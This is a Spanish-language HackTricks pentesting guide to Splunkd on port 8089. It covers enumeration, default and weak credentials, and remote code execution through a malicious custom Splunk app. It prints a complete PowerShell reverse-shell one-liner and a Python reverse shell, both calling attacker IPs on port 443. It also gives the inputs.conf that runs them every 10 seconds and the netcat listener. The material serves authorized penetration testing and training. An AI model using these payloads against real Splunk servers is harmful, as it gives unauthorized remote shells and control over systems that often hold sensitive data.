8089 - Pentesting Splunkd

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Información Básica

Splunk es una herramienta de análisis de registros que desempeña un papel crucial en la recopilación, análisis y visualización de datos. Aunque su propósito inicial no era servir como una herramienta de SIEM (Seguridad de la Información y Gestión de Eventos), ha ganado popularidad en el ámbito del monitoreo de seguridad y analítica empresarial.

Las implementaciones de Splunk se utilizan con frecuencia para almacenar datos sensibles y pueden servir como una fuente valiosa de información para posibles atacantes si logran comprometer el sistema. Puerto predeterminado: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

El servidor web de Splunk se ejecuta de forma predeterminada en el puerto 8000.

Enumeración

Versión Gratuita

La prueba de Splunk Enterprise se convierte en una versión gratuita después de 60 días, la cual no requiere autenticación. No es raro que los administradores de sistemas instalen una prueba de Splunk para probarlo, la cual es posteriormente olvidada. Esto se convertirá automáticamente en la versión gratuita que no tiene ningún tipo de autenticación, introduciendo un agujero de seguridad en el entorno. Algunas organizaciones pueden optar por la versión gratuita debido a restricciones presupuestarias, sin comprender completamente las implicaciones de no tener gestión de usuarios/roles.

Credenciales Predeterminadas

En versiones antiguas de Splunk, las credenciales predeterminadas son admin:changeme, las cuales se muestran convenientemente en la página de inicio de sesión. Sin embargo, la última versión de Splunk establece credenciales durante el proceso de instalación. Si las credenciales predeterminadas no funcionan, vale la pena verificar contraseñas débiles comunes como admin, Welcome, Welcome1, Password123, etc.

Obtener Información

Una vez iniciada la sesión en Splunk, podemos navegar por datos, ejecutar informes, crear paneles de control, instalar aplicaciones desde la biblioteca de Splunkbase e instalar aplicaciones personalizadas. También se puede ejecutar código: Splunk tiene múltiples formas de ejecutar código, como aplicaciones Django del lado del servidor, puntos finales REST, entradas script y scripts de alerta. Un método común para obtener ejecución de código remoto en un servidor Splunk es a través del uso de una entrada script.

Además, como Splunk se puede instalar en hosts Windows o Linux, se pueden crear entradas script para ejecutar scripts Bash, PowerShell o Batch.

Shodan

  • Construcción de Splunk

RCE

Crear Aplicación Personalizada

Una aplicación personalizada puede ejecutar scripts de Python, Batch, Bash o PowerShell. Ten en cuenta que Splunk viene con Python instalado, por lo que incluso en sistemas Windows podrás ejecutar código python.

Puedes usar esto paquete de Splunk para ayudarnos. El directorio bin en este repositorio tiene ejemplos para Python y PowerShell. Vamos a seguir esto paso a paso.

Para lograr esto, primero necesitamos crear una aplicación personalizada de Splunk utilizando la siguiente estructura de directorio:

tree splunk_shell/

splunk_shell/
├── bin
└── default

El directorio bin contendrá cualquier script que tengamos la intención de ejecutar (en este caso, un shell inverso de PowerShell), y el directorio predeterminado tendrá nuestro archivo inputs.conf. Nuestro shell inverso será un comando de una sola línea de PowerShell:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

El archivo inputs.conf indica a Splunk qué script ejecutar y cualquier otra condición. Aquí establecemos la aplicación como habilitada y le indicamos a Splunk que ejecute el script cada 10 segundos. El intervalo siempre se establece en segundos, y la entrada (script) solo se ejecutará si esta configuración está presente.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Necesitamos el archivo .bat, que se ejecutará cuando se implemente la aplicación y ejecutará la línea de comandos de PowerShell.

El siguiente paso es elegir Instalar aplicación desde archivo y cargar la aplicación.

Antes de cargar la aplicación personalizada maliciosa, iniciemos un escucha usando Netcat o socat.

sudo nc -lnvp 443

listening on [any] 443 ...

En la página Subir aplicación, haz clic en examinar, elige el archivo tarball que creamos anteriormente y haz clic en Subir. Tan pronto como subamos la aplicación, recibiremos una shell inversa ya que el estado de la aplicación cambiará automáticamente a Habilitado.

Linux

Si estuviéramos tratando con un anfitrión Linux, necesitaríamos editar el script Python rev.py antes de crear el archivo tarball y subir la aplicación maliciosa personalizada. El resto del proceso sería el mismo y obtendríamos una conexión de shell inversa en nuestro escuchador de Netcat y estaríamos listos para empezar.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Escalada de Privilegios

En la siguiente página puedes encontrar una explicación de cómo este servicio puede ser abusado para escalar privilegios y obtener persistencia:

pageSplunk LPE and Persistence

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización